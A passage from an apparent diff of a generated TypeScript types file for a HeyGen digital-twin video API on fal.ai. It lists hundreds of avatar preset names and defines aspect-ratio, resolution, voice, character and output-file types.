Side', + 'Leos Sofa Front 2': 'Leos Sofa Front 2', + 'Leos Sofa Front': 'Leos Sofa Front', + 'Leos Sofa Side 2': 'Leos Sofa Side 2', + 'Leos Sofa Side': 'Leos Sofa Side', + 'Leszek Lounge Front': 'Leszek Lounge Front', + 'Leszek Lounge Side': 'Leszek Lounge Side', + 'Leszek Outdoor Business Front': 'Leszek Outdoor Business Front', + 'Leszek Outdoor Business Side': 'Leszek Outdoor Business Side', + 'Leszek Outdoor Casual Front': 'Leszek Outdoor Casual Front', + 'Leszek Outdoor Casual Side': 'Leszek Outdoor Casual Side', + 'Leszek Sofa Front': 'Leszek Sofa Front', + 'Leszek Sofa Side': 'Leszek Sofa Side', + Leah: 'Leah', + 'Leah in Black Suit': 'Leah in Black Suit', + 'Lina Casual Front 2': 'Lina Casual Front 2', + 'Lina Casual Front': 'Lina Casual Front', + 'Lina Casual Side 2': 'Lina Casual Side 2', + 'Lina Casual Side': 'Lina Casual Side', + 'Lina Casual Sitting Front': 'Lina Casual Sitting Front', + 'Lina Casual Sitting Side': 'Lina Casual Sitting Side', + 'Lina Dress Front': 'Lina Dress Front', + 'Lina Dress Side 2': 'Lina Dress Side 2', + 'Lina Dress Side': 'Lina Dress Side', + 'Lina Dress Sitting Front': 'Lina Dress Sitting Front', + 'Lina Dress Sitting Side': 'Lina Dress Sitting Side', + 'Lina Sweater Front 2': 'Lina Sweater Front 2', + 'Lina Sweater Front': 'Lina Sweater Front', + 'Lina Sweater Side 2': 'Lina Sweater Side 2', + 'Lina Sweater Side': 'Lina Sweater Side', + 'Lina Sweater Sitting Front 2': 'Lina Sweater Sitting Front 2', + 'Lina Sweater Sitting Front': 'Lina Sweater Sitting Front', + 'Lina Sweater Sitting Side 2': 'Lina Sweater Sitting Side 2', + 'Lina Sweater Sitting Side': 'Lina Sweater Sitting Side', + Lisa: 'Lisa', + Luca: 'Luca', + 'Lucien in Black coat': 'Lucien in Black coat', + 'Lucien in Black polo-shirt': 'Lucien in Black polo-shirt', + 'Lucien in Blue blazer': 'Lucien in Blue blazer', + 'Lucien in Blue shirt': 'Lucien in Blue shirt', + 'Lucien in Grey blazer': 'Lucien in Grey blazer', + 'Lucien in White shirt': 'Lucien in White shirt', + 'Luke in Brown Suit': 'Luke in Brown Suit', + 'Luke in Yellow Jacket': 'Luke in Yellow Jacket', + 'Luke in Blue Suit': 'Luke in Blue Suit', + 'Marcus (Upper Body)': 'Marcus (Upper Body)', + 'Marcus Café Front 2': 'Marcus Café Front 2', + 'Marcus Café Front': 'Marcus Café Front', + 'Marcus Café Side 2': 'Marcus Café Side 2', + 'Marcus Café Side': 'Marcus Café Side', + 'Marcus Casual Front': 'Marcus Casual Front', + 'Marcus Casual Side': 'Marcus Casual Side', + 'Marcus Casual Sitting Front 2': 'Marcus Casual Sitting Front 2', + 'Marcus Casual Sitting Front': 'Marcus Casual Sitting Front', + 'Marcus Casual Sitting Side 2': 'Marcus Casual Sitting Side 2', + 'Marcus Casual Sitting Side': 'Marcus Casual Sitting Side', + 'Marcus Denim Jacket Front': 'Marcus Denim Jacket Front', + 'Marcus Denim Jacket Side': 'Marcus Denim Jacket Side', + 'Marcus Education Front': 'Marcus Education Front', + 'Marcus Education Side': 'Marcus Education Side', + 'Marcus Sitting Front': 'Marcus Sitting Front', + 'Marcus Sitting Side': 'Marcus Sitting Side', + 'Marcus Suit Front': 'Marcus Suit Front', + 'Marcus Suit Side': 'Marcus Suit Side', + 'Maria in Suit': 'Maria in Suit', + 'Maria in Sweater': 'Maria in Sweater', + 'Maria in Black Suit': 'Maria in Black Suit', + 'Martina Office Front 2': 'Martina Office Front 2', + 'Martina Office Front': 'Martina Office Front', + 'Martina Office Side 2': 'Martina Office Side 2', + 'Martina Office Side': 'Martina Office Side', + 'Martina Sofa Front 2': 'Martina Sofa Front 2', + 'Martina Sofa Front': 'Martina Sofa Front', + 'Martina Sofa Side 2': 'Martina Sofa Side 2', + 'Martina Sofa Side': 'Martina Sofa Side', + 'Masha Office Front 2': 'Masha Office Front 2', + 'Masha Office Front': 'Masha Office Front', + 'Masha Office Side 2': 'Masha Office Side 2', + 'Masha Office Side': 'Masha Office Side', + 'Masha Sofa Casual Front 2': 'Masha Sofa Casual Front 2', + 'Masha Sofa Casual Front': 'Masha Sofa Casual Front', + 'Masha Sofa Casual Side 2': 'Masha Sofa Casual Side 2', + 'Masha Sofa Casual Side': 'Masha Sofa Casual Side', + 'Mason in Blue Suit': 'Mason in Blue Suit', + 'Mason in White Shirt': 'Mason in White Shirt', + 'Mason in Blue Sweater': 'Mason in Blue Sweater', + 'Matteo Office Front 2': 'Matteo Office Front 2', + 'Matteo Office Front': 'Matteo Office Front', + 'Matteo Office Side 2': 'Matteo Office Side 2', + 'Matteo Office Side': 'Matteo Office Side', + 'Matteo Sofa Front 2': 'Matteo Sofa Front 2', + 'Matteo Sofa Front': 'Matteo Sofa Front', + 'Matteo Sofa Side 2': 'Matteo Sofa Side 2', + 'Matteo Sofa Side': 'Matteo Sofa Side', + 'Max (Upper Body)': 'Max (Upper Body)', + 'Max Indoor Front': 'Max Indoor Front', + 'Max Indoor Side': 'Max Indoor Side', + 'Max Outdoor Sport Front': 'Max Outdoor Sport Front', + 'Max Outdoor Sport Side': 'Max Outdoor Sport Side', + 'Milena Office Front 2': 'Milena Office Front 2', + 'Milena Office Front': 'Milena Office Front', + 'Milena Office Side 2': 'Milena Office Side 2', + 'Milena Office Side': 'Milena Office Side', + 'Milena Sofa Front 2': 'Milena Sofa Front 2', + 'Milena Sofa Front': 'Milena Sofa Front', + 'Milena Sofa Side 2': 'Milena Sofa Side 2', + 'Milena Sofa Side': 'Milena Sofa Side', + 'Miles (Upper Body)': 'Miles (Upper Body)', + 'Miles Outdoor Front': 'Miles Outdoor Front', + 'Miles Outdoor Side': 'Miles Outdoor Side', + 'Miles Sofa Front 2': 'Miles Sofa Front 2', + 'Miles Sofa Front': 'Miles Sofa Front', + 'Miles Sofa Side 2': 'Miles Sofa Side 2', + 'Miles Sofa Side': 'Miles Sofa Side', + 'Minho in Blue blazer': 'Minho in Blue blazer', + 'Minho in Blue shirt': 'Minho in Blue shirt', + 'Minho in Green polo-shirt': 'Minho in Green polo-shirt', + 'Minho in Khaki jacket': 'Minho in Khaki jacket', + 'Minho in White shirt': 'Minho in White shirt', + 'Minho in White t-shirt': 'Minho in White t-shirt', + 'Mireia Business Indoor Front': 'Mireia Business Indoor Front', + 'Mireia Business Indoor Side': 'Mireia Business Indoor Side', + 'Mireia Outdoor Chair Front': 'Mireia Outdoor Chair Front', + 'Mireia Outdoor Front': 'Mireia Outdoor Front', + 'Mireia Outdoor Side': 'Mireia Outdoor Side', + 'Mireia Outdoor Table Front': 'Mireia Outdoor Table Front', + 'Mireia Outdoor Table Side': 'Mireia Outdoor Table Side', + 'Miyu Office Front 2': 'Miyu Office Front 2', + 'Miyu Office Front': 'Miyu Office Front', + 'Miyu Office Side 2': 'Miyu Office Side 2', + 'Miyu Office Side': 'Miyu Office Side', + 'Miyu Sofa Business Front': 'Miyu Sofa Business Front', + 'Miyu Sofa Business Side': 'Miyu Sofa Business Side', + 'Miyu Sofa Casual Front 2': 'Miyu Sofa Casual Front 2', + 'Miyu Sofa Casual Front': 'Miyu Sofa Casual Front', + 'Miyu Sofa Casual Side 2 ': 'Miyu Sofa Casual Side 2 ', + 'Miyu Sofa Casual Side': 'Miyu Sofa Casual Side', + 'Nadim in Black blazer': 'Nadim in Black blazer', + 'Nadim in Blue blazer': 'Nadim in Blue blazer', + 'Nadim in Blue jacket': 'Nadim in Blue jacket', + 'Nadim in Puffer vest': 'Nadim in Puffer vest', + 'Nadim in White shirt': 'Nadim in White shirt', + 'Neil in Black Shirt': 'Neil in Black Shirt', + 'Neil in Black Suit ': 'Neil in Black Suit ', + 'Neil in Yellow Jacket': 'Neil in Yellow Jacket', + Nico: 'Nico', + 'Noah Lobby Front 2': 'Noah Lobby Front 2', + 'Noah Lobby Front': 'Noah Lobby Front', + 'Noah Lobby Side 2': 'Noah Lobby Side 2', + 'Noah Lobby Side': 'Noah Lobby Side', + 'Noah Office Front 2': 'Noah Office Front 2', + 'Noah Office Front': 'Noah Office Front', + 'Noah Office Side 2': 'Noah Office Side 2', + 'Noah Office Side': 'Noah Office Side', + 'Noah Sofa Front 2': 'Noah Sofa Front 2', + 'Noah Sofa Front ': 'Noah Sofa Front ', + 'Noah Sofa Side 2': 'Noah Sofa Side 2', + 'Noah Sofa Side': 'Noah Sofa Side', + 'Nour in Black blazer': 'Nour in Black blazer', + 'Nour in Brown dress': 'Nour in Brown dress', + 'Nour in Grey hoodie': 'Nour in Grey hoodie', + 'Nour in Sporty vest': 'Nour in Sporty vest', + 'Nour in White shirt': 'Nour in White shirt', + 'Odelia in Blue Suit': 'Odelia in Blue Suit', + 'Odelia in Red Dress ': 'Odelia in Red Dress ', + 'Odelia in Yellow Suit': 'Odelia in Yellow Suit', + 'Onat (Upper Body)': 'Onat (Upper Body)', + 'Onat Casual Front': 'Onat Casual Front', + 'Onat Casual Side': 'Onat Casual Side', + 'Onat Casual Sitting Front': 'Onat Casual Sitting Front', + 'Onat Casual Sitting Side': 'Onat Casual Sitting Side', + 'Onat Macbook Front 2': 'Onat Macbook Front 2', + 'Onat Macbook Front': 'Onat Macbook Front', + 'Onat Macbook Side 2': 'Onat Macbook Side 2', + 'Onat Macbook Side': 'Onat Macbook Side', + 'Onat Suit Front': 'Onat Suit Front', + 'Onat Suit Side': 'Onat Suit Side', + 'Onat Suit Sitting Front': 'Onat Suit Sitting Front', + 'Onat Suit Sitting Side': 'Onat Suit Sitting Side', + 'Onat iPad Front': 'Onat iPad Front', + 'Onat iPad Side': 'Onat iPad Side', + 'Onat iPad Sitting Front': 'Onat iPad Sitting Front', + 'Onat iPad Sitting Side': 'Onat iPad Sitting Side', + 'Oxana (Upper Body)': 'Oxana (Upper Body)', + 'Oxana Gym Front 2': 'Oxana Gym Front 2', + 'Oxana Gym Front': 'Oxana Gym Front', + 'Oxana Gym Side 2': 'Oxana Gym Side 2', + 'Oxana Gym Side': 'Oxana Gym Side', + 'Oxana Office Front 2': 'Oxana Office Front 2', + 'Oxana Office Front': 'Oxana Office Front', + 'Oxana Office Side 2': 'Oxana Office Side 2', + 'Oxana Office Side': 'Oxana Office Side', + 'Oxana Sofa Front 2': 'Oxana Sofa Front 2', + 'Oxana Sofa Front': 'Oxana Sofa Front', + 'Oxana Sofa Side 2': 'Oxana Sofa Side 2', + 'Oxana Sofa Side': 'Oxana Sofa Side', + 'Oxana Yoga Front 2': 'Oxana Yoga Front 2', + 'Oxana Yoga Front': 'Oxana Yoga Front', + 'Oxana Yoga Side 2': 'Oxana Yoga Side 2', + 'Oxana Yoga Side': 'Oxana Yoga Side', + 'Patrizio Business Training Front': 'Patrizio Business Training Front', + 'Patrizio Business Training Side': 'Patrizio Business Training Side', + 'Patrizio Office Front': 'Patrizio Office Front', + 'Patrizio Office Side 2': 'Patrizio Office Side 2', + 'Patrizio Office Side': 'Patrizio Office Side', + 'Patrizio Sofa Front': 'Patrizio Sofa Front', + 'Patrizio Sofa Side': 'Patrizio Sofa Side', + 'Piper Business Sofa Front': 'Piper Business Sofa Front', + 'Piper Business Sofa Side': 'Piper Business Sofa Side', + 'Piper Education Front': 'Piper Education Front', + 'Piper Education Side': 'Piper Education Side', + 'Rasmus Lounge Front 2': 'Rasmus Lounge Front 2', + 'Rasmus Lounge Front': 'Rasmus Lounge Front', + 'Rasmus Lounge Side 2': 'Rasmus Lounge Side 2', + 'Rasmus Lounge Side': 'Rasmus Lounge Side', + 'Rasmus Sofa Front 2': 'Rasmus Sofa Front 2', + 'Rasmus Sofa Front': 'Rasmus Sofa Front', + 'Rasmus Sofa Side 2': 'Rasmus Sofa Side 2', + 'Rasmus Sofa Side': 'Rasmus Sofa Side', + 'Raul (Upper Body)': 'Raul (Upper Body)', + 'Raul Business Sofa Front 2': 'Raul Business Sofa Front 2', + 'Raul Business Sofa Front': 'Raul Business Sofa Front', + 'Raul Business Sofa Side 2': 'Raul Business Sofa Side 2', + 'Raul Business Sofa Side': 'Raul Business Sofa Side', + 'Raul Casual Sofa Front 2': 'Raul Casual Sofa Front 2', + 'Raul Casual Sofa Front': 'Raul Casual Sofa Front', + 'Raul Casual Sofa Side 2': 'Raul Casual Sofa Side 2', + 'Raul Casual Sofa Side': 'Raul Casual Sofa Side', + 'Raul Casual Sofa no iPad Front': 'Raul Casual Sofa no iPad Front', + 'Raul Casual Sofa no iPad Side': 'Raul Casual Sofa no iPad Side', + 'Raul Casual Sofa with iPad Front': 'Raul Casual Sofa with iPad Front', + 'Raul Casual Sofa with iPad Side': 'Raul Casual Sofa with iPad Side', + 'Raul Office Front 2': 'Raul Office Front 2', + 'Raul Office Front': 'Raul Office Front', + 'Raul Office Side': 'Raul Office Side', + 'Raul Sofa Front 2': 'Raul Sofa Front 2', + 'Raul Sofa Front': 'Raul Sofa Front', + 'Raul Sofa Side 2': 'Raul Sofa Side 2', + 'Raul Sofa Side': 'Raul Sofa Side', + Rebecca: 'Rebecca', + 'Ren (Upper Body)': 'Ren (Upper Body)', + 'Ren Office Front 2': 'Ren Office Front 2', + 'Ren Office Front': 'Ren Office Front', + 'Ren Office Side 2': 'Ren Office Side 2', + 'Ren Office Side': 'Ren Office Side', + 'Ren Sofa Business Front': 'Ren Sofa Business Front', + 'Ren Sofa Business Side': 'Ren Sofa Business Side', + 'Ren Sofa Casual Front 2': 'Ren Sofa Casual Front 2', + 'Ren Sofa Casual Front': 'Ren Sofa Casual Front', + 'Ren Sofa Casual Side 2 ': 'Ren Sofa Casual Side 2 ', + 'Ren Sofa Casual Side': 'Ren Sofa Casual Side', + 'Riley (Upper Body)': 'Riley (Upper Body)', + 'Riley Casual Front': 'Riley Casual Front', + 'Riley Casual Side': 'Riley Casual Side', + 'Riley Office Front': 'Riley Office Front', + 'Riley Office Side': 'Riley Office Side', + 'Roman Outdoor Sport Front': 'Roman Outdoor Sport Front', + 'Roman Outdoor Sport Side': 'Roman Outdoor Sport Side', + 'Sabine Office Front 2': 'Sabine Office Front 2', + 'Sabine Office Front': 'Sabine Office Front', + 'Sabine Office Side': 'Sabine Office Side', + 'Sabine Sofa Side': 'Sabine Sofa Side', + 'Salma in headscarf (Front)': 'Salma in headscarf (Front)', + 'Salma in headscarf (Left)': 'Salma in headscarf (Left)', + 'Salma in headscarf (Right)': 'Salma in headscarf (Right)', + 'Santa Avatar Present Standing ': 'Santa Avatar Present Standing ', + 'Santa Avatar Sitting 2': 'Santa Avatar Sitting 2', + 'Santa Avatar Sitting': 'Santa Avatar Sitting', + 'Santa Avatar Sitting Side': 'Santa Avatar Sitting Side', + 'Santa Avatar Standing': 'Santa Avatar Standing', + 'Santa Fireplace Front': 'Santa Fireplace Front', + 'Santa Fireplace Side': 'Santa Fireplace Side', + 'Saskia in Blue blazer': 'Saskia in Blue blazer', + 'Saskia in Blue shirt': 'Saskia in Blue shirt', + 'Saskia in Green blazer': 'Saskia in Green blazer', + 'Saskia in Grey vest': 'Saskia in Grey vest', + 'Saskia in White blazer': 'Saskia in White blazer', + 'Scarlett Couch Front 2': 'Scarlett Couch Front 2', + 'Scarlett Couch Front': 'Scarlett Couch Front', + 'Scarlett Couch Side 2': 'Scarlett Couch Side 2', + 'Scarlett Couch Side': 'Scarlett Couch Side', + 'Scarlett Fireplace Front': 'Scarlett Fireplace Front', + 'Scarlett Fireplace Side': 'Scarlett Fireplace Side', + 'Scarlett Hall Front': 'Scarlett Hall Front', + 'Scarlett Hall Side': 'Scarlett Hall Side', + 'Scarlett Yoga Front': 'Scarlett Yoga Front', + 'Scarlett Yoga Side': 'Scarlett Yoga Side', + 'Seema Business Front': 'Seema Business Front', + 'Seema Business Side': 'Seema Business Side', + 'Seema Business Sitting Side': 'Seema Business Sitting Side', + 'Seema Casual Front': 'Seema Casual Front', + 'Seema Casual Side': 'Seema Casual Side', + 'Seema Casual Sitting Front': 'Seema Casual Sitting Front', + 'Seema Casual Sitting Side': 'Seema Casual Sitting Side', + 'Seema Nurse Front 2': 'Seema Nurse Front 2', + 'Seema Nurse Front': 'Seema Nurse Front', + 'Seema Nurse Side 2': 'Seema Nurse Side 2', + 'Seema Nurse Side': 'Seema Nurse Side', + 'Shawn Business Front': 'Shawn Business Front', + 'Shawn Business Side': 'Shawn Business Side', + 'Shawn Casual Sitting Front': 'Shawn Casual Sitting Front', + 'Shawn Casual Sitting Side': 'Shawn Casual Sitting Side', + 'Shawn Sitting Front': 'Shawn Sitting Front', + 'Shawn Sitting Side': 'Shawn Sitting Side', + 'Shawn Suit Front': 'Shawn Suit Front', + 'Shawn Suit Side': 'Shawn Suit Side', + 'Shawn Therapist': 'Shawn Therapist', + 'Shirley Business Front': 'Shirley Business Front', + 'Shirley Business Side': 'Shirley Business Side', + 'Shirley Casual Front 2': 'Shirley Casual Front 2', + 'Shirley Casual Front': 'Shirley Casual Front', + 'Shirley Casual Side': 'Shirley Casual Side', + 'Shirley Casual Sitting Front 2': 'Shirley Casual Sitting Front 2', + 'Shirley Casual Sitting Front': 'Shirley Casual Sitting Front', + 'Shirley Casual Sitting Side 2': 'Shirley Casual Sitting Side 2', + 'Shirley Casual Sitting Side': 'Shirley Casual Sitting Side', + 'Shirley Education Front': 'Shirley Education Front', + 'Shirley Education Side 2': 'Shirley Education Side 2', + 'Shirley Education Side': 'Shirley Education Side', + 'Shirley Sitting Front': 'Shirley Sitting Front', + 'Shirley Sitting Side': 'Shirley Sitting Side', + 'Shirley Skirt Front': 'Shirley Skirt Front', + 'Shirley Skirt Side': 'Shirley Skirt Side', + 'Shirley Suit Front': 'Shirley Suit Front', + 'Shirley Suit Side': 'Shirley Suit Side', + 'Silas (Upper Body)': 'Silas (Upper Body)', + 'Silas Customer Support': 'Silas Customer Support', + 'Silas HR': 'Silas HR', + 'Silas Lounge Front': 'Silas Lounge Front', + 'Silas Lounge Side': 'Silas Lounge Side', + 'Silas Sofa Side 2': 'Silas Sofa Side 2', + 'Silas Sofa Side': 'Silas Sofa Side', + 'Sloane in Blue dress': 'Sloane in Blue dress', + 'Sloane in Grey suit': 'Sloane in Grey suit', + 'Sloane in Pink sweater': 'Sloane in Pink sweater', + 'Sophia in Black Shirt': 'Sophia in Black Shirt', + 'Sophia in Suit ': 'Sophia in Suit ', + 'Sophia in White Suit': 'Sophia in White Suit', + Sophie: 'Sophie', + 'Stacy in Doctor (Front)': 'Stacy in Doctor (Front)', + 'Stacy in Doctor (Left)': 'Stacy in Doctor (Left)', + 'Stacy in Doctor (Right)': 'Stacy in Doctor (Right)', + 'Stacy in Dress (Front)': 'Stacy in Dress (Front)', + 'Stacy in Dress (Left)': 'Stacy in Dress (Left)', + 'Stacy in Dress (Right)': 'Stacy in Dress (Right)', + 'Stacy in Shirt (Front)': 'Stacy in Shirt (Front)', + 'Stacy in Shirt (Left)': 'Stacy in Shirt (Left)', + 'Stacy in Shirt (Right)': 'Stacy in Shirt (Right)', + 'Susan in Black Shirt': 'Susan in Black Shirt', + 'Susan in Black Suit': 'Susan in Black Suit', + 'Susan in Suit': 'Susan in Suit', + 'Tahlia in Blue dress': 'Tahlia in Blue dress', + 'Tahlia in Blue suit': 'Tahlia in Blue suit', + 'Tahlia in Dark blue suit': 'Tahlia in Dark blue suit', + 'Tahlia in Red suit': 'Tahlia in Red suit', + 'Tahlia in White shirt': 'Tahlia in White shirt', + 'Teodor (Upper Body)': 'Teodor (Upper Body)', + 'Teodor Office Front 2': 'Teodor Office Front 2', + 'Teodor Office Front': 'Teodor Office Front', + 'Teodor Office Side 2': 'Teodor Office Side 2', + 'Teodor Office Side': 'Teodor Office Side', + 'Teodor Sofa Front 2': 'Teodor Sofa Front 2', + 'Teodor Sofa Front': 'Teodor Sofa Front', + 'Teodor Sofa Side 2': 'Teodor Sofa Side 2', + 'Teodor Sofa Side': 'Teodor Sofa Side', + 'Timothy (Upper Body)': 'Timothy (Upper Body)', + 'Timothy Casual Front': 'Timothy Casual Front', + 'Timothy Casual Side': 'Timothy Casual Side', + 'Timothy Office Front': 'Timothy Office Front', + 'Timothy Office Side': 'Timothy Office Side', + 'Tito Casual Front 2': 'Tito Casual Front 2', + 'Tito Casual Front': 'Tito Casual Front', + 'Tito Casual Side 2': 'Tito Casual Side 2', + 'Tito Casual Side': 'Tito Casual Side', + 'Tito Casual Sitting Front': 'Tito Casual Sitting Front', + 'Tito Casual Sitting Side': 'Tito Casual Sitting Side', + 'Tito Coat Front 2': 'Tito Coat Front 2', + 'Tito Coat Front': 'Tito Coat Front', + 'Tito Coat Full Side': 'Tito Coat Full Side', + 'Tito Coat Side 2': 'Tito Coat Side 2', + 'Tito Coat Side': 'Tito Coat Side', + 'Tito Painter Front': 'Tito Painter Front', + 'Tito Painter Full Side': 'Tito Painter Full Side', + 'Tito Painter Side': 'Tito Painter Side', + 'Tito Painter Sitting Front': 'Tito Painter Sitting Front', + 'Tito Painter Sitting Side': 'Tito Painter Sitting Side', + 'Travis in Polo Shirt': 'Travis in Polo Shirt', + 'Travis in Gray Suit': 'Travis in Gray Suit', + 'Travis in Black Suit': 'Travis in Black Suit', + 'Trevor in Plaid Shirt': 'Trevor in Plaid Shirt', + 'Trevor in Blue Shirt': 'Trevor in Blue Shirt', + 'Trevor in Blue Suit': 'Trevor in Blue Suit', + 'Trevor in Suit': 'Trevor in Suit', + 'Tuba Business Chair Front': 'Tuba Business Chair Front', + 'Tuba Business Chair Side': 'Tuba Business Chair Side', + 'Tuba Business Front': 'Tuba Business Front', + 'Tuba Business Side': 'Tuba Business Side', + 'Tuba Business Sofa Front': 'Tuba Business Sofa Front', + 'Tuba Business Sofa Side': 'Tuba Business Sofa Side', + 'Tuba Casual Front': 'Tuba Casual Front', + 'Tuba Casual Side': 'Tuba Casual Side', + 'Tuba Casual Sitting Front': 'Tuba Casual Sitting Front', + 'Tuba Casual Sitting Side': 'Tuba Casual Sitting Side', + 'Tuba Macbook Front': 'Tuba Macbook Front', + 'Tuba Macbook Side': 'Tuba Macbook Side', + 'Veit Office Front': 'Veit Office Front', + 'Veit Office Side': 'Veit Office Side', + 'Veit Sofa Front': 'Veit Sofa Front', + 'Veit Sofa Side': 'Veit Sofa Side', + 'Vernon Office Front 2': 'Vernon Office Front 2', + 'Vernon Office Front': 'Vernon Office Front', + 'Vernon Office Side 2': 'Vernon Office Side 2', + 'Vernon Office Side': 'Vernon Office Side', + 'Verena Office Front': 'Verena Office Front', + 'Verena Office Side': 'Verena Office Side', + 'Verena Sofa Front': 'Verena Sofa Front', + 'Verena Sofa Side': 'Verena Sofa Side', + 'Vernon (Upper Body)': 'Vernon (Upper Body)', + 'Vernon Lounge Front 2': 'Vernon Lounge Front 2', + 'Vernon Lounge Side 2': 'Vernon Lounge Side 2', + 'Vernon Lounge Side': 'Vernon Lounge Side', + 'Vince (Upper Body)': 'Vince (Upper Body)', + 'Vince Business Sofa Front': 'Vince Business Sofa Front', + 'Vince Business Training Front': 'Vince Business Training Front', + 'Vince Business Training Side 2': 'Vince Business Training Side 2', + 'Vince Business Training Side': 'Vince Business Training Side', + 'Vince Sofa Casual Front 2': 'Vince Sofa Casual Front 2', + 'Vince Sofa Casual Front': 'Vince Sofa Casual Front', + 'Vince Sofa Casual Side 2': 'Vince Sofa Casual Side 2', + 'Vince Sofa Casual Side': 'Vince Sofa Casual Side', + 'Violante Brown Suit Front 2': 'Violante Brown Suit Front 2', + 'Violante Brown Suit Front ': 'Violante Brown Suit Front ', + 'Violante Business Sitting Front': 'Violante Business Sitting Front', + 'Violante Business Sitting Side': 'Violante Business Sitting Side', + 'Violante Casual Sitting Front ': 'Violante Casual Sitting Front ', + 'Violante Casual Sitting Side': 'Violante Casual Sitting Side', + 'Violante Sport Front 2': 'Violante Sport Front 2', + 'Violante Sport Front': 'Violante Sport Front', + 'Violante Sport Side': 'Violante Sport Side', + 'Violante Sport Sitting Side': 'Violante Sport Sitting Side', + 'Violante Suit Front': 'Violante Suit Front', + 'Vivianna in Black shirt': 'Vivianna in Black shirt', + 'Wade in Black Suit': 'Wade in Black Suit', + 'Wade in Black Jacket': 'Wade in Black Jacket', + 'Wade in Gray Jacket': 'Wade in Gray Jacket', + 'Yola Active Speaking Front': 'Yola Active Speaking Front', + 'Yola Active Speaking Side': 'Yola Active Speaking Side', + 'Yola Business Front': 'Yola Business Front', + 'Yola Business Side': 'Yola Business Side', + 'Yola Calm Speaking Front': 'Yola Calm Speaking Front', + 'Yola Calm Speaking Side': 'Yola Calm Speaking Side', + 'Yola Casual Front': 'Yola Casual Front', + 'Yola Casual Side': 'Yola Casual Side', + 'Yola Employee Badge Front': 'Yola Employee Badge Front', + 'Yola Employee Badge Side': 'Yola Employee Badge Side', + 'Zosia in Blue blazer': 'Zosia in Blue blazer', + 'Zosia in Green dress': 'Zosia in Green dress', + 'Zosia in Khaki blazer': 'Zosia in Khaki blazer', + 'Zosia in White dress': 'Zosia in White dress', + 'Zosia in Yellow shirt': 'Zosia in Yellow shirt', + 'Austin in Suit': 'Austin in Suit', + 'Austin in Blue Casual Suit': 'Austin in Blue Casual Suit', + 'Austin in Black Jacket': 'Austin in Black Jacket', + 'Austin in Blue Suit': 'Austin in Blue Suit', + 'Candace in Pink Blazer (Upper Body)': 'Candace in Pink Blazer (Upper Body)', + 'Chad in Blue Shirt (Upper Body)': 'Chad in Blue Shirt (Upper Body)', + 'Daisy in Suit': 'Daisy in Suit', + 'Daisy in Shirt': 'Daisy in Shirt', + 'Daisy in Dress': 'Daisy in Dress', + 'Daisy in T-shirt': 'Daisy in T-shirt', + 'Francis in Blazer (Upper Body)': 'Francis in Blazer (Upper Body)', + Matthew: 'Matthew', + 'Matthew in Suit': 'Matthew in Suit', + 'Matthew in Flowery Shirt': 'Matthew in Flowery Shirt', + 'Matthew in Grey Sweater': 'Matthew in Grey Sweater', + 'Nik in Black Shirt': 'Nik in Black Shirt', + 'Nik in Blue Sweater': 'Nik in Blue Sweater', + 'Tyler in Casual Suit': 'Tyler in Casual Suit', + 'Tyler in Shirt': 'Tyler in Shirt', + 'Tyler in Suit': 'Tyler in Suit', +} as const + +export type CharacterAvatarEnumKey = + (typeof characterAvatarEnum)[keyof typeof characterAvatarEnum] + +export type Character = { + /** + * @description Style of the avatar display + * @default 'closeUp' + * @type string | undefined + */ + avatar_style?: CharacterAvatarStyleEnumKey + /** + * @description ID of the avatar to use in the video + * @example Florin Business Sitting Side + * @type string + */ + avatar: CharacterAvatarEnumKey +} + +export const inputFalAiHeygenAvatar3DigitalTwinAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '4:5': '4:5', + '5:4': '5:4', + '1:1': '1:1', +} as const + +export type InputFalAiHeygenAvatar3DigitalTwinAspectRatioEnumKey = + (typeof inputFalAiHeygenAvatar3DigitalTwinAspectRatioEnum)[keyof typeof inputFalAiHeygenAvatar3DigitalTwinAspectRatioEnum] + +export const inputFalAiHeygenAvatar3DigitalTwinResolutionEnum = { + '360p': '360p', + '480p': '480p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiHeygenAvatar3DigitalTwinResolutionEnumKey = + (typeof inputFalAiHeygenAvatar3DigitalTwinResolutionEnum)[keyof typeof inputFalAiHeygenAvatar3DigitalTwinResolutionEnum] + +/** + * @description Request model for digital twin video generation using Avatar 3 (Engine III). + * @type object + */ +export type InputFalAiHeygenAvatar3DigitalTwin = { + /** + * @description Aspect ratio of the output video. Use '9:16' for portrait (vertical) videos, '16:9' for landscape, '1:1' for square, '4:5' for portrait social video, or '5:4' for landscape social video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiHeygenAvatar3DigitalTwinAspectRatioEnumKey + /** + * @description Voice configuration for the character + * @type object + */ + voice: TextVoice + /** + * @description URL of an audio file for the avatar to lip-sync to. When provided, the avatar uses this audio instead of text-to-speech. + */ + audio_url?: string | null + /** + * @description Video resolution preset. Options: 360p, 480p, 540p, 720p, 1080p + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiHeygenAvatar3DigitalTwinResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Character configuration for the video + * @type object + */ + character: Character +} + +export type File10Dc54A9 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiHeygenAvatar3DigitalTwin = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a8f61f5/SwAbhEQ0tNLthNkyTqCRn_translated.mp4"} + * @type object + */ + video: File10Dc54A9 +} + +export const inputFalAiHeygenAvatar4DigitalTwinAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '4:5': '4:5', + '5:4': '5:4', + '1:1': '1:1', + auto: 'auto', +} as const + +export type InputFalAiHeygenAvatar4DigitalTwinAspectRatioEnumKey = + (typeof inputFalAiHeygenAvatar4DigitalTwinAspectRatioEnum)[keyof typeof inputFalAiHeygenAvatar4DigitalTwinAspectRatioEnum] + +export const inputFalAiHeygenAvatar4DigitalTwinResolutionEnum = { + '360p': '360p', + '480p': '480p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiHeygenAvatar4DigitalTwinResolutionEnumKey = + (typeof inputFalAiHeygenAvatar4DigitalTwinResolutionEnum)[keyof typeof inputFalAiHeygenAvatar4DigitalTwinResolutionEnum] + 